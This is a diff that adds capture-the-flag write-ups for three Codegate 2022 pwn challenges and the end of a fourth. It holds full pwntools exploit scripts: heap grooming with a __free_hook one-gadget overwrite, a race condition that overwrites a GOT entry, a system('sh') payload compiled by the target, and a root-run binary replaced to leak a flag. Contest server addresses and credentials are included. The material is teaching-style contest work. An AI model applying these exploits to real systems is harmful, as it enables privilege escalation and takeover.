""" + # GDBSCRIPT here + set follow-fork-mode parent + continue + """ + + +def handle(): + + env = {"LD_PRELOAD": libc.path} + + if args.REMOTE: + return remote(*REMOTE) + + elif args.LOCAL: + if args.GDB: + p = gdb.debug(EXEC_STR, env=env, gdbscript=gdbscript_break + gdbscript) + else: + p = process(EXEC_STR, env=env) + else: + error("No argument supplied.\nUsage: python exploit.py (REMOTE|LOCAL) [GDB] [STRACE]") + + # if args.STRACE: + # subprocess.Popen([*context.terminal, f"strace -p {p.pid}; cat"]) + # input("Waiting for enter...") + + return p + +def recvmenu(l): + l.recvuntil(b"> ") + + +def do_create_file(l, filename, filename_len=None): + recvmenu(l) + + if filename_len == None: + filename_len = len(filename) + + l.sendline(b'c') + l.sendlineafter(b"Enter the length of filename:", str(filename_len).encode()) + l.sendlineafter(b"Enter filename: ", filename) + +def do_select_file(l, filename): + recvmenu(l) + l.sendline(b'b') + l.sendlineafter(b"Enter filename: ", filename) + response = l.recvline() + if response == b'Failed to find the file\n': + return None + + l.recvuntil(b"Filename \t\t") + filename = l.recvuntil(b"\nSize \t\t", drop=True) + size = l.recvuntil(b"\nCreated Time\t\t", drop=True) + created_time = l.recvuntil(b"\nModified Time\t\t", drop=True) + modified_time = l.recvuntil(b"\n-------------------------------------------------------\n", drop=True) + + return { + "filename": filename, + "size": size, + "created_time": created_time, + "modified_time": modified_time + } + +def select_do_change_name(l, filename, filename_size=None): + if filename_size == None: + filename_size = len(filename) + + recvmenu(l) + l.sendline(b"1") + l.sendlineafter(b"Enter the length of filename: ", str(filename_size).encode()) + l.sendafter(b"Enter filename: ", filename) + +def select_do_change_content(l, content, content_size=None): + + if content_size == None: + content_size = len(content) + + recvmenu(l) + l.sendline(b"4") + l.sendlineafter(b"Enter the size of content: ", str(content_size).encode()) + l.sendafter(b"Enter content: ", content) + +def select_do_get_content(l): + recvmenu(l) + l.sendline(b"3") + + results = bytearray(0) + + while True: + l.recvuntil(b' | ') + + bs = l.recvuntil(b'|', drop=True).decode().split(' ')[:-1] + + if len(bs) == 0: + break + + bs = bytearray(map(lambda x: bytes.fromhex(x)[0], bs)) + results += bs + + l.recvuntil(b'\n') + + return results + + +def select_do_save_changes(l): + recvmenu(l) + l.sendline(b'5') + +def select_do_back(l, save=False): + recvmenu(l) + l.sendline(b'b') + n = l.recvn(5) + # print('=====', n) + if n == b"Won't": + if save: + l.sendline(b'Y') + else: + l.sendline(b'N') + +def select_do_delete(l): + recvmenu(l) + l.sendline(b'd') + +def main(): + l = handle() + + l.recvuntil(b"-------------------------- MENU ---------------------------") + + file = do_select_file(l, b"flag") + print(file) + + select_do_change_content(l, b"A"*0x100) + select_do_save_changes(l) + select_do_back(l) + + do_select_file(l, b"flag") + + oobr = select_do_get_content(l) + # print(hexdump(oobr)) + + libc_leak = u64(oobr[0xab:0xab+8]) + log.info('libc leak: %#x', libc_leak) + libc_base = libc_leak - 0x3ec680 # libc.sym._IO_2_1_stderr_ + log.info("libc base: %#x", libc_base) + libc.address = libc_base + + select_do_back(l) + + do_create_file(l, b'H'*0xc0) + do_select_file(l, b'H'*0xc0) + select_do_change_content(l, cyclic(0xc0)) + select_do_change_name(l, b'hi') + select_do_save_changes(l) + select_do_change_content(l, b'A'*0x130) + select_do_back(l) + log.info('heap groomed') + + do_create_file(l, b'meh') + do_select_file(l, b'meh') + payload = fit({ + 0xd0-39: p64(0x21) + b'/etc/localtime\x00', + 0xf0-39: p64(0xf1) + p64(0), + 0x1e0-39: p64(0x1b1) + p64(0), + 0x390-39: p64(0xf1) + p64(libc.sym.__free_hook), + }, length=0x400) + select_do_change_content(l, payload) + select_do_change_name(l, b'ho') + select_do_change_content(l, b'B'*(0xd0-25-2-0x10)) + select_do_delete(l) + log.info('planted free_hook') + + do_select_file(l, b'README.md') + select_do_change_name(l, b'W'*0xd0) + select_do_save_changes(l) + # select_do_back(l) + # select_do_delete(l) + one_gadget = libc_base + 0x10a41c # 0x4f3d5 0x4f432 + select_do_change_name(l, p64(one_gadget).ljust(0xe0, b'\x00')) + log.success('enjoy your shell') + # select_do_save_changes(l) + + l.sendline(b'id;cat f*;cat /home/ctf/f*') + + l.interactive() + + +if __name__ == "__main__": + main() +``` \ No newline at end of file diff --git a/Codegate-2022-quals/pwn/forgotten.html b/Codegate-2022-quals/pwn/forgotten.html new file mode 100755 index 0000000..6780979 --- /dev/null +++ b/Codegate-2022-quals/pwn/forgotten.html @@ -0,0 +1,264 @@ + + + + + +Forgotten | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

Forgotten

+ +

Author: Nspace

+ +

Tags: pwn

+ +

Points: 1000 (1 solve)

+ +

Description:

+ +
+

i’m live in the wild.

+
+ +

The challenge files contain a Linux VM (kernel image + initramfs) and a customized Qemu. The Qemu patch is included and adds a custom PCI device. The challenge also includes a driver (1153 lines of C) for the custom device, which is built into the kernel. The flag is in the initramfs, and can only be read by root.

+ +

We have access to an unprivileged shell, and the intended solution is to become root by exploiting memory corruption in the custom driver.

+ +

Fortunately for us there is also a much easier way to solve this challenge:

+ +
Initialization is done. Enjoy :)
+/ $ ls -la
+...
+drwxrwxr-x    2 user     user             0 Nov 22 07:37 bin
+...
+
+ +

The /bin directory is owned by our user 👀. It appears that the author has… forgotten… to change the owner of some directories to root. That means that we can delete and create files there. At boot the VM executes the following init script as root:

+ +
#!/bin/sh
+
+mknod -m 0666 /dev/null c 1 3
+mknod -m 0660 /dev/ttyS0 c 4 64
+
+mount -t proc proc /proc
+mount -t sysfs sysfs /sys
+mount -t tmpfs tmpfs /tmp
+
+cat <<!
+Initialization is done. Enjoy :)
+!
+
+chown root /flag
+chmod 400 /flag
+echo 1 > /proc/sys/kernel/kptr_restrict
+
+mknod /dev/cgs-3d0 c 246 0
+setsid cttyhack setuidgid 1000 /bin/sh
+
+umount /proc
+umount /sys
+
+poweroff -f
+
+ +

The script invokes umount (/bin/umount) and poweroff (/bin/poweroff) as root after our unprivileged shell exits. Since we own /bin, we can simply delete /bin/umount and replace it with a script that prints the flag.

+ +
/ $ rm /bin/umount
+/ $ echo '#!/bin/sh' > /bin/umount
+/ $ echo 'cat /flag > /dev/ttyS0' >> /bin/umount
+/ $ chmod +x /bin/umount
+/ $ exit
+codegate2022{86776b92d17cd0dbceaf835d981a31f940c7f9e24613d4a261a2d38545218fc35b116036ea2989821248908e9984e0ee8272b3e85db10377f22e91adf990f73ff3c9c1a4e4c62784}
+codegate2022{86776b92d17cd0dbceaf835d981a31f940c7f9e24613d4a261a2d38545218fc35b116036ea2989821248908e9984e0ee8272b3e85db10377f22e91adf990f73ff3c9c1a4e4c62784}
+
+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/Codegate-2022-quals/pwn/forgotten.md b/Codegate-2022-quals/pwn/forgotten.md new file mode 100755 index 0000000..18f2aed --- /dev/null +++ b/Codegate-2022-quals/pwn/forgotten.md @@ -0,0 +1,66 @@ +# Forgotten + +**Author**: [Nspace](https://twitter.com/_MatteoRizzo) + +**Tags:** pwn + +**Points:** 1000 (1 solve) + +**Description:** + +> i'm live in the wild. + +The challenge files contain a Linux VM (kernel image + initramfs) and a customized Qemu. The Qemu patch is included and adds a custom PCI device. The challenge also includes a driver (1153 lines of C) for the custom device, which is built into the kernel. The flag is in the initramfs, and can only be read by root. + +We have access to an unprivileged shell, and the intended solution is to become root by exploiting memory corruption in the custom driver. + +Fortunately for us there is also a much easier way to solve this challenge: + +``` +Initialization is done. Enjoy :) +/ $ ls -la +... +drwxrwxr-x 2 user user 0 Nov 22 07:37 bin +... +``` + +The `/bin` directory is owned by our user 👀. It appears that the author has... _forgotten_... to change the owner of some directories to root. That means that we can delete and create files there. At boot the VM executes the following init script as root: + +```sh +#!/bin/sh + +mknod -m 0666 /dev/null c 1 3 +mknod -m 0660 /dev/ttyS0 c 4 64 + +mount -t proc proc /proc +mount -t sysfs sysfs /sys +mount -t tmpfs tmpfs /tmp + +cat < /proc/sys/kernel/kptr_restrict + +mknod /dev/cgs-3d0 c 246 0 +setsid cttyhack setuidgid 1000 /bin/sh + +umount /proc +umount /sys + +poweroff -f +``` + +The script invokes `umount` (`/bin/umount`) and `poweroff` (`/bin/poweroff`) as root after our unprivileged shell exits. Since we own `/bin`, we can simply delete `/bin/umount` and replace it with a script that prints the flag. + +``` +/ $ rm /bin/umount +/ $ echo '#!/bin/sh' > /bin/umount +/ $ echo 'cat /flag > /dev/ttyS0' >> /bin/umount +/ $ chmod +x /bin/umount +/ $ exit +codegate2022{86776b92d17cd0dbceaf835d981a31f940c7f9e24613d4a261a2d38545218fc35b116036ea2989821248908e9984e0ee8272b3e85db10377f22e91adf990f73ff3c9c1a4e4c62784} +codegate2022{86776b92d17cd0dbceaf835d981a31f940c7f9e24613d4a261a2d38545218fc35b116036ea2989821248908e9984e0ee8272b3e85db10377f22e91adf990f73ff3c9c1a4e4c62784} +``` \ No newline at end of file diff --git a/Codegate-2022-quals/pwn/isolated.html b/Codegate-2022-quals/pwn/isolated.html new file mode 100755 index 0000000..37560e8 --- /dev/null +++ b/Codegate-2022-quals/pwn/isolated.html @@ -0,0 +1,397 @@ + + + + + +Isolated | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

Isolated

+ +

Author: pql

+ +

Tags: pwn

+ +

Points: 884 (19 solves)

+ +

Description:

+ +
+

Simple VM, But isloated.

+
+ +

We’re provided a small executable that fork()s and sets up a server-client relation, where the parent process acts as server that receives instructions from the client. We can provided 0x300 bytes of custom instructions that will be ran on the simple stack architecture VM that the server and client define together. The client and server share a memory mapping (with MAP_SHARED) that they will use for communication of routine arguments and results.

+ +

The architecture

+ +

The server defines a few signal handlers that respectively push, pop and clean the stack, and one that enables “logging mode”. The logging mode makes all other signal handlers print some debug information before executing. The stack has defined bounds at stack_ptr = 0 and stack_ptr = 768, after which pop and push respectively will fail.

+ +

The client is tasked with decoding the provided instructions, and then sends a signal to the parent process to execute a signal handler. The signal handler then executes, and a variable in the shared memory is set to indicate the result. It should be noted that the following seccomp policy is applied to the child:

+ +
 line  CODE  JT   JF      K
+=================================
+ 0000: 0x20 0x00 0x00 0x00000004  A = arch
+ 0001: 0x15 0x00 0x03 0xc000003e  if (A != ARCH_X86_64) goto 0005
+ 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
+ 0003: 0x15 0x00 0x01 0x0000003e  if (A != kill) goto 0005
+ 0004: 0x06 0x00 0x00 0x7fff0000  return ALLOW
+ 0005: 0x06 0x00 0x00 0x00000001  return KILL
+
+ +

This hints us towards that fact that we should be exploiting the parent process.

+ +

There’s a few defined instructions:

+ +
<0> <xx xx xx xx> pushes xx xx xx xx
+<1> pops (into the void)
+
+The next instructions can take either a 4-byte immediate or a value popped from the stack. 
+A pop is denoted by <0x55> and an immediate is denoted by <0x66> <xx xx xx xx>. We'll call this a <imm/pop>
+
+<2> <imm/pop> <imm/pop> adds two operands and pushes the result
+<3> <imm/pop> <imm/pop> subtracts two operands and pushes the result
+<4> <imm/pop> <imm/pop> multiplies two operands and pushes the result
+<5> <imm/pop> <imm/pop> divides two operands and pushes the result
+<6> <imm/pop> <imm/pop> compares if the two operands are equal and sets a flag if this is the case.
+
+<7> <imm/pop> jumps to the operand
+<8> <imm/pop> jumps to the operand IF the flag is set (see 6)
+<9> cleans the stack
+<10> <imm/pop> sets log mode to the operand (any non-zero value is on)
+
+Anything else will kill parent and child immediately.
+
+ +

The bug

+ +

All pops and pushes are blocking (they wait for the result), except the normal push and pop instructions <0> and <1>. Since these instructions don’t wait for the result, they can cause a desynchronization of state. We can trigger a signal handler in the parent whilst another signal handler is already running, which is effectively a kind of concurrence on a single execution core. We can use the resulting race condition to circumvent the bound check for pop and push in the parent process.

+ +

The resulting exploit underflows the stack pointer to -1, at which point we can navigate the stack pointer to a GOT entry (I picked puts) and use the add instruction (<2>) to add a constant offset to a one shot gadget to its lower four bytes.

+ +

Winning the race was mostly a bunch of trial and error, I combined pop with clean_stack, so the stack pointer will be zeroed but the pop routine will still decrement it. On local docker, i was able to win the race about 25% of the time, but on remote it is less than 1%.

+ +

The exploit

+ +
from pwn import *
+from pwnlib.util.proc import descendants
+context.terminal = ["terminator", "-e"]
+
+BINARY_NAME = "./isolated"
+LIBC_NAME = "./libc.so"
+REMOTE = ("3.38.234.54", 7777)
+DOCKER_REMOTE = ("127.0.0.1", 7777)
+
+context.binary = BINARY_NAME
+binary = context.binary
+libc = ELF(LIBC_NAME)
+
+EXEC_STR = [binary.path]
+
+PIE_ENABLED = binary.pie
+
+BREAKPOINTS = [int(x, 16) for x in args.BREAK.split(',')] if args.BREAK else []
+
+gdbscript_break = '\n'.join([f"{'pie ' if PIE_ENABLED else ''}break *{hex(x)}" for x in BREAKPOINTS])
+
+gdbscript = \
+        """
+        set follow-fork-mode child
+        """
+
+
+def handle():
+    
+    env = {"LD_PRELOAD": libc.path}
+    
+    if args.REMOTE:
+        return remote(*REMOTE)
+    
+    elif args.LOCAL:
+        p = process(EXEC_STR, env=env)
+    elif args.GDB:        
+        p = gdb.debug(EXEC_STR, env=env, gdbscript=gdbscript_break + gdbscript)
+    
+    elif args.DOCKER:
+        p = remote(*DOCKER_REMOTE)
+    else:
+        error("No argument supplied.\nUsage: python exploit.py (REMOTE|LOCAL) [GDB] [STRACE]") 
+    
+    if args.STRACE:
+        subprocess.Popen([*context.terminal, f"strace -p {p.pid}; cat"])
+        input("Waiting for enter...")
+    
+    return p
+
+def main():
+    l = handle()
+    #print(l.pid)
+    """
+    <0> <xx xx xx xx> pushes xx xx xx xx
+    <1> pops (into the void)
+
+    The next instructions can take either a 4-byte immediate or a value popped from the stack. 
+    A pop is denoted by <0x55> and an immediate is denoted by <0x66> <xx xx xx xx>. We'll call this a <imm/pop>
+
+    <2> <imm/pop> <imm/pop> adds two operands and pushes the result
+    <3> <imm/pop> <imm/pop> subtracts two operands and pushes the result
+    <4> <imm/pop> <imm/pop> multiplies two operands and pushes the result
+    <5> <imm/pop> <imm/pop> divides two operands and pushes the result
+    <6> <imm/pop> <imm/pop> compares if the two operands are equal and sets a flag if this is the case.
+
+    <7> <imm/pop> jumps to the operand
+    <8> <imm/pop> jumps to the operand IF the flag is set (see 6)
+    <9> cleans the stack
+    <10> <imm/pop> sets log mode to the operand (any non-zero value is on)
+
+    anything else kills the parent immediately
+    """
+
+    ONE_GADGETS = [
+        0x4f432,
+        0x10a41c
+    ]
+
+    rel_og_offsets = [og - libc.symbols['puts'] for og in ONE_GADGETS];
+    print(rel_og_offsets)
+
+    dbg  = lambda x: [10, 0x66, *p32(x)]
+    pop  = lambda: [1]
+    cmp_pop_blocking = lambda y: [6, 0x55, 0x66, *p32(y)] # compares if popped value equal to 0 and sets flag
+    push_blocking = lambda x: [2, 0x66, *p32(x), 0x66, *p32(0)] # adds
+    jmp = lambda x: [7, 0x66, *p32(x)]
+    clean_stack = lambda: [9]
+    cmp_imm_imm = lambda: [6, 0x66, *p32(0x41414141), 0x66, *p32(0x41414142)]
+    add_constant = lambda x: [2, 0x66, *p32(x & 0xffffffff), 0x55]
+
+    payload = [*dbg(0x01)] # 6
+    
+    start = len(payload)
+
+    offset = (0x203100 - binary.got['puts']) // 4
+    print(offset)
+
+    payload.extend([
+        *push_blocking(1),
+        *[*cmp_imm_imm() * 10],
+        *pop(), *pop(),
+        *clean_stack(),
+        *[*cmp_imm_imm() * 10],
+        *cmp_pop_blocking(0xffffffff),
+        *dbg(1),
+        *[*cmp_imm_imm() * 5],
+        *[*push_blocking(-offset & 0xffffffff) * 2],
+        *add_constant(rel_og_offsets[0]),
+        *dbg(1), # get shell!
+    ])
+
+
+    payload.extend(jmp(len(payload)))
+    
+    print(len(payload))
+    payload = bytes(payload)
+    #print(hexdump(payload))
+    l.recvuntil(b"opcodes >")
+
+    l.send(payload)
+
+    print(f"puts @ {hex(libc.symbols['puts'])}")
+     
+    time.sleep(3)
+    l.sendline("cat flag")
+    
+    assert b"timeout" not in l.stream()
+
+if __name__ == "__main__":
+    main()
+
+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/Codegate-2022-quals/pwn/isolated.md b/Codegate-2022-quals/pwn/isolated.md new file mode 100755 index 0000000..1b9c369 --- /dev/null +++ b/Codegate-2022-quals/pwn/isolated.md @@ -0,0 +1,201 @@ +# Isolated + +**Author**: pql + +**Tags:** pwn + +**Points:** 884 (19 solves) + +**Description:** + +> Simple VM, But isloated. + +We're provided a small executable that `fork()`s and sets up a server-client relation, where the parent process acts as server that receives instructions from the client. We can provided `0x300` bytes of custom instructions that will be ran on the simple stack architecture VM that the server and client define together. The client and server share a memory mapping (with `MAP_SHARED`) that they will use for communication of routine arguments and results. + +#### The architecture + + + +The server defines a few signal handlers that respectively push, pop and clean the stack, and one that enables "logging mode". The logging mode makes all other signal handlers print some debug information before executing. The stack has defined bounds at `stack_ptr = 0` and `stack_ptr = 768`, after which `pop` and `push` respectively will fail. + +The client is tasked with decoding the provided instructions, and then sends a signal to the parent process to execute a signal handler. The signal handler then executes, and a variable in the shared memory is set to indicate the result. It should be noted that the following seccomp policy is applied to the child: + +``` + line CODE JT JF K +================================= + 0000: 0x20 0x00 0x00 0x00000004 A = arch + 0001: 0x15 0x00 0x03 0xc000003e if (A != ARCH_X86_64) goto 0005 + 0002: 0x20 0x00 0x00 0x00000000 A = sys_number + 0003: 0x15 0x00 0x01 0x0000003e if (A != kill) goto 0005 + 0004: 0x06 0x00 0x00 0x7fff0000 return ALLOW + 0005: 0x06 0x00 0x00 0x00000001 return KILL +``` + +This hints us towards that fact that we should be exploiting the parent process. + +There's a few defined instructions: + +``` +<0> pushes xx xx xx xx +<1> pops (into the void) + +The next instructions can take either a 4-byte immediate or a value popped from the stack. +A pop is denoted by <0x55> and an immediate is denoted by <0x66> . We'll call this a + +<2> adds two operands and pushes the result +<3> subtracts two operands and pushes the result +<4> multiplies two operands and pushes the result +<5> divides two operands and pushes the result +<6> compares if the two operands are equal and sets a flag if this is the case. + +<7> jumps to the operand +<8> jumps to the operand IF the flag is set (see 6) +<9> cleans the stack +<10> sets log mode to the operand (any non-zero value is on) + +Anything else will kill parent and child immediately. +``` + +#### The bug + +All pops and pushes are *blocking* (they wait for the result), except the normal push and pop instructions <0> and <1>. Since these instructions don't wait for the result, they can cause a desynchronization of state. We can trigger a signal handler in the parent whilst another signal handler is already running, which is effectively a kind of concurrence on a single execution core. We can use the resulting race condition to circumvent the bound check for `pop` and `push` in the parent process. + +The resulting exploit underflows the stack pointer to -1, at which point we can navigate the stack pointer to a GOT entry (I picked `puts`) and use the add instruction (`<2>`) to add a constant offset to a one shot gadget to its lower four bytes. + +Winning the race was mostly a bunch of trial and error, I combined `pop` with `clean_stack`, so the stack pointer will be zeroed but the `pop` routine will still decrement it. On local docker, i was able to win the race about 25% of the time, but on remote it is less than 1%. + +#### The exploit + +```python +from pwn import * +from pwnlib.util.proc import descendants +context.terminal = ["terminator", "-e"] + +BINARY_NAME = "./isolated" +LIBC_NAME = "./libc.so" +REMOTE = ("3.38.234.54", 7777) +DOCKER_REMOTE = ("127.0.0.1", 7777) + +context.binary = BINARY_NAME +binary = context.binary +libc = ELF(LIBC_NAME) + +EXEC_STR = [binary.path] + +PIE_ENABLED = binary.pie + +BREAKPOINTS = [int(x, 16) for x in args.BREAK.split(',')] if args.BREAK else [] + +gdbscript_break = '\n'.join([f"{'pie ' if PIE_ENABLED else ''}break *{hex(x)}" for x in BREAKPOINTS]) + +gdbscript = \ + """ + set follow-fork-mode child + """ + + +def handle(): + + env = {"LD_PRELOAD": libc.path} + + if args.REMOTE: + return remote(*REMOTE) + + elif args.LOCAL: + p = process(EXEC_STR, env=env) + elif args.GDB: + p = gdb.debug(EXEC_STR, env=env, gdbscript=gdbscript_break + gdbscript) + + elif args.DOCKER: + p = remote(*DOCKER_REMOTE) + else: + error("No argument supplied.\nUsage: python exploit.py (REMOTE|LOCAL) [GDB] [STRACE]") + + if args.STRACE: + subprocess.Popen([*context.terminal, f"strace -p {p.pid}; cat"]) + input("Waiting for enter...") + + return p + +def main(): + l = handle() + #print(l.pid) + """ + <0> pushes xx xx xx xx + <1> pops (into the void) + + The next instructions can take either a 4-byte immediate or a value popped from the stack. + A pop is denoted by <0x55> and an immediate is denoted by <0x66> . We'll call this a + + <2> adds two operands and pushes the result + <3> subtracts two operands and pushes the result + <4> multiplies two operands and pushes the result + <5> divides two operands and pushes the result + <6> compares if the two operands are equal and sets a flag if this is the case. + + <7> jumps to the operand + <8> jumps to the operand IF the flag is set (see 6) + <9> cleans the stack + <10> sets log mode to the operand (any non-zero value is on) + + anything else kills the parent immediately + """ + + ONE_GADGETS = [ + 0x4f432, + 0x10a41c + ] + + rel_og_offsets = [og - libc.symbols['puts'] for og in ONE_GADGETS]; + print(rel_og_offsets) + + dbg = lambda x: [10, 0x66, *p32(x)] + pop = lambda: [1] + cmp_pop_blocking = lambda y: [6, 0x55, 0x66, *p32(y)] # compares if popped value equal to 0 and sets flag + push_blocking = lambda x: [2, 0x66, *p32(x), 0x66, *p32(0)] # adds + jmp = lambda x: [7, 0x66, *p32(x)] + clean_stack = lambda: [9] + cmp_imm_imm = lambda: [6, 0x66, *p32(0x41414141), 0x66, *p32(0x41414142)] + add_constant = lambda x: [2, 0x66, *p32(x & 0xffffffff), 0x55] + + payload = [*dbg(0x01)] # 6 + + start = len(payload) + + offset = (0x203100 - binary.got['puts']) // 4 + print(offset) + + payload.extend([ + *push_blocking(1), + *[*cmp_imm_imm() * 10], + *pop(), *pop(), + *clean_stack(), + *[*cmp_imm_imm() * 10], + *cmp_pop_blocking(0xffffffff), + *dbg(1), + *[*cmp_imm_imm() * 5], + *[*push_blocking(-offset & 0xffffffff) * 2], + *add_constant(rel_og_offsets[0]), + *dbg(1), # get shell! + ]) + + + payload.extend(jmp(len(payload))) + + print(len(payload)) + payload = bytes(payload) + #print(hexdump(payload)) + l.recvuntil(b"opcodes >") + + l.send(payload) + + print(f"puts @ {hex(libc.symbols['puts'])}") + + time.sleep(3) + l.sendline("cat flag") + + assert b"timeout" not in l.stream() + +if __name__ == "__main__": + main() +``` diff --git a/Codegate-2022-quals/pwn/vimt.html b/Codegate-2022-quals/pwn/vimt.html new file mode 100755 index 0000000..2312a03 --- /dev/null +++ b/Codegate-2022-quals/pwn/vimt.html @@ -0,0 +1,462 @@ + + + + + +VIMT | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

VIMT

+ +

Author: gallileo

+ +

Tags: pwn

+ +

Points: 856 (21 solves)

+ +

Description:

+ +
+

ssh ctf@3.38.59.103 -p 1234 password: ctf1234_smiley

+ +

Monkeys help you

+
+ +

Although a somewhat unconventional setup (ssh’ing into the binary1), the binary itself is fairly simple and even comes with symbols. The basic functionality is as follows:

+ +

The binary creates a 2D map the size of your terminal. In a loop, it waits for you to enter a character. The character gets placed at the current position in the map, followed by 5 random characters. In addition, by sending a \x1b character, a command could be executed. The interesting commands are:

+ +
    +
  • compile: Compiles the current map as C code and executes the result.
  • +
  • set: Set the y coordinate of the current map position.
  • +
+ +

We also notice some interesting setup code in init:

+ +
v4 = clock();
+v3 = time(0LL);
+v0 = getpid();
+v1 = mix(v4, v3, v0); // some z3 looking combination of inputs.
+srand(v1);
+
+ +

To me it looked like the intentional solution might have been to reverse the mix function and figure out the random seed to predict which additional letters get added to the map. However, we can actually solve this without having to do that. +I noticed, that by having a prime terminal width, we could actually also set the x coordinate. If we can set the x coordinate, we can of course create arbitrary map contents.

+ +

If our terminal has a width of 29 and every time we enter a character the x position moves by 6, we can do the following:

+ +
    +
  1. Enter 5 characters, now x position moves by 30 (with wrap around)
  2. +
  3. This means x position is now actually one after the original x position
  4. +
+ +

Since we can reset the y position to the original value, we can hence control the x position and can write anything on the map. Since doing this on the server was very slow (for some reason) and I probably made a mistake with my python code (more than one line would break it), we wanted a payload that is shorter than 29 characters. Luckily the following worked main(){system("sh");}//.

+ +

Now the only thing left was fighting with pwntools, ssh and pseudoterminals (aka try random options until you get it to work) to actually have the correctly sized terminal on the remote. After that, it was just waiting around 20 minutes and then we got a shell. For some reason, I did not see any stdout of the remote terminal (except newlines maybe), so I had to exfil the flag with some bash magic.

+ +

The final exploit script:

+ +
#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+# This exploit template was generated via:
+# $ pwn template app
+from pwn import *
+import random
+
+# Set up pwntools for the correct architecture
+exe = context.binary = ELF('app')
+
+
+def local(argv=[], *a, **kw):
+    '''Start the exploit against the target.'''
+    if args.GDB:
+        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
+    else:
+        return process([exe.path] + argv, stdin=PTY, raw=False, *a, **kw)
+
+def remote():
+    #return ssh("ctf", host="3.38.59.103", port=1234, password="ctf1234_smiley")
+    # stty cols 29 rows 12
+    p = process("sshpass -e ssh -tt ctf@3.38.59.103 -p 1234 'bash -i'", shell=True, env={"SSHPASS": "ctf1234_smiley"})
+    p.sendlineafter("~$ ", "stty cols 29 rows 12")
+    p.sendlineafter("~$ ", "./app")
+    return p
+
+def start(*a, **kw):
+    if args.LOCAL:
+        return local(*a, **kw)
+    return remote(*a, **kw)
+
+# Specify your GDB script here for debugging
+# GDB will be launched if the exploit is run via e.g.
+# ./exploit.py GDB
+gdbscript = '''
+tbreak main
+continue
+'''.format(**locals())
+
+#===========================================================
+#                    EXPLOIT GOES HERE
+#===========================================================
+# Arch:     amd64-64-little
+# RELRO:    Partial RELRO
+# Stack:    No canary found
+# NX:       NX enabled
+# PIE:      No PIE (0x400000)
+
+#### remote comms
+WIDTH = 29
+HEIGHT = 10
+
+def read_mappa():
+    begin = io.recvuntil(b"-"*WIDTH)
+    read_map = io.recvuntil(b"-"*WIDTH)
+    log.debug("REMOTE MAP:\n%s", read_map.decode("utf8", errors="ignore"))
+    return begin + read_map
+
+def send_data(data):
+    if isinstance(data, str):
+        data = data.encode("utf8")
+    io.send(data)
+    return read_mappa()
+
+def send_command(cmd, read = True):
+    io.send(b"\x1b")
+    if isinstance(cmd, str):
+        cmd = cmd.encode("utf8")
+    io.sendline(cmd)
+    if read:
+        return read_mappa()
+    return None
+
+def do_compile():
+    return send_command("compile", False)
+
+def do_set_y(y_val):
+    return send_command(f"set y {y_val}")
+
+RAND_CHARS = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}!"
+
+log.info("Using terminal of size %d x %d", WIDTH, HEIGHT)
+
+mappa = []
+for y in range(HEIGHT):
+    row = ""
+    for x in range(WIDTH):
+        row += " "
+    mappa.append(row)
+
+cur_x = 0
+cur_y = 0
+
+def check_coords_up():
+    global cur_x, cur_y
+    if cur_x >= WIDTH:
+        cur_x = 0
+        cur_y += 1
+    if cur_y >= HEIGHT:
+        cur_y = HEIGHT - 1
+
+def set_car(car):
+    global mappa, cur_y, cur_x
+    row = mappa[cur_y]
+    mappa[cur_y] = row[:cur_x] + car + row[cur_x+1:]
+
+def inpKey(car):
+    global cur_x
+    rem_map = send_data(car)
+    check_coords_up()
+    set_car(car)
+    cur_x += 1
+    for i in range(5):
+        check_coords_up()
+        rand_car = random.choice(RAND_CHARS)
+        set_car(rand_car)
+        cur_x += 1
+    return rem_map
+
+def set_y(y_val):
+    global cur_y
+    do_set_y(y_val)
+    cur_y = y_val
+
+def set_x(x_val):
+    global cur_y, cur_x
+    if cur_x == x_val:
+        return
+    # this is more involved!
+
+    # number of times to enter a character for a row to be filled.
+    # every time we enter a character, we write 6 to the map!
+    min_to_fill = (WIDTH // 6) + 1
+    # number of characters the new x position on the next row will be offset
+    offset = min_to_fill * 6 - WIDTH
+    # we could actually use any offset, would just mean more math lol
+    assert offset == 1
+    # number of characters difference between desired and required x val
+    diff = (x_val - cur_x)
+    if diff < 0:
+        diff += WIDTH
+    num_inputs = (diff // offset) * min_to_fill
+    log.debug("Additional inputs: %d", num_inputs)
+    for k in range(num_inputs):
+        inpKey("G")
+    log.debug("cur_x %d vs x_val %d", cur_x, x_val)
+    assert cur_x == x_val
+
+
+def pmap():
+    log.info("MAP:\n%s", "\n".join(mappa))
+
+def write_line(y, s: str):
+    log.debug("Writing line %s @ y = %d", s, y)
+    for idx, car in enumerate(s):
+        set_x(idx)
+        set_y(y)
+        inpKey(car)
+    set_x(len(s))
+    set_y(y)
+    inpKey("\n")
+
+def write_str(start_x, start_y, s: str):
+    x = start_x
+    y = start_y
+    for idx, car in enumerate(s):
+        
+        if x >= WIDTH:
+            x = 0
+            y =+ 1
+        if y >= HEIGHT:
+            log.error("FAILED TO WRITE STRING!")
+        log.info("Writing %s at %d, %d", car, x, y)
+        set_x(x)
+        set_y(y)
+        rem_map = inpKey(car)
+        if idx % 10:
+            log.info("remote map:\n%s", rem_map.decode("utf8", errors="ignore"))
+        x += 1
+
+log.info("Initial map:")
+pmap()
+
+io = start()
+# io.interactive()
+init_map = read_mappa()
+log.info("init remote map:\n%s", init_map.decode("utf8", errors="ignore"))
+
+PAYLOAD = """main(){system("sh");}//"""
+log.info("PAYLOAD:\n%s", PAYLOAD)
+
+write_str(0, 0, PAYLOAD)
+log.info("map with payload:")
+pmap()
+log.info("Writing map to file: test.c")
+with open("test.c", "w") as f:
+    f.write("".join(mappa))
+
+rem_map = send_data("$")
+log.info("Remote map:\n%s", rem_map.decode("utf8", errors="ignore"))
+pause()
+do_compile()
+io.interactive()
+
+
+ +
+
    +
  1. +

    The setup actually allowed you to get a terminal on the server. However, since the flag is only readable by root and the challenge binary is setuid, we still need to pwn the binary. 

    +
  2. +
+
+ + + + + + +
+
+
+ + + + + + +
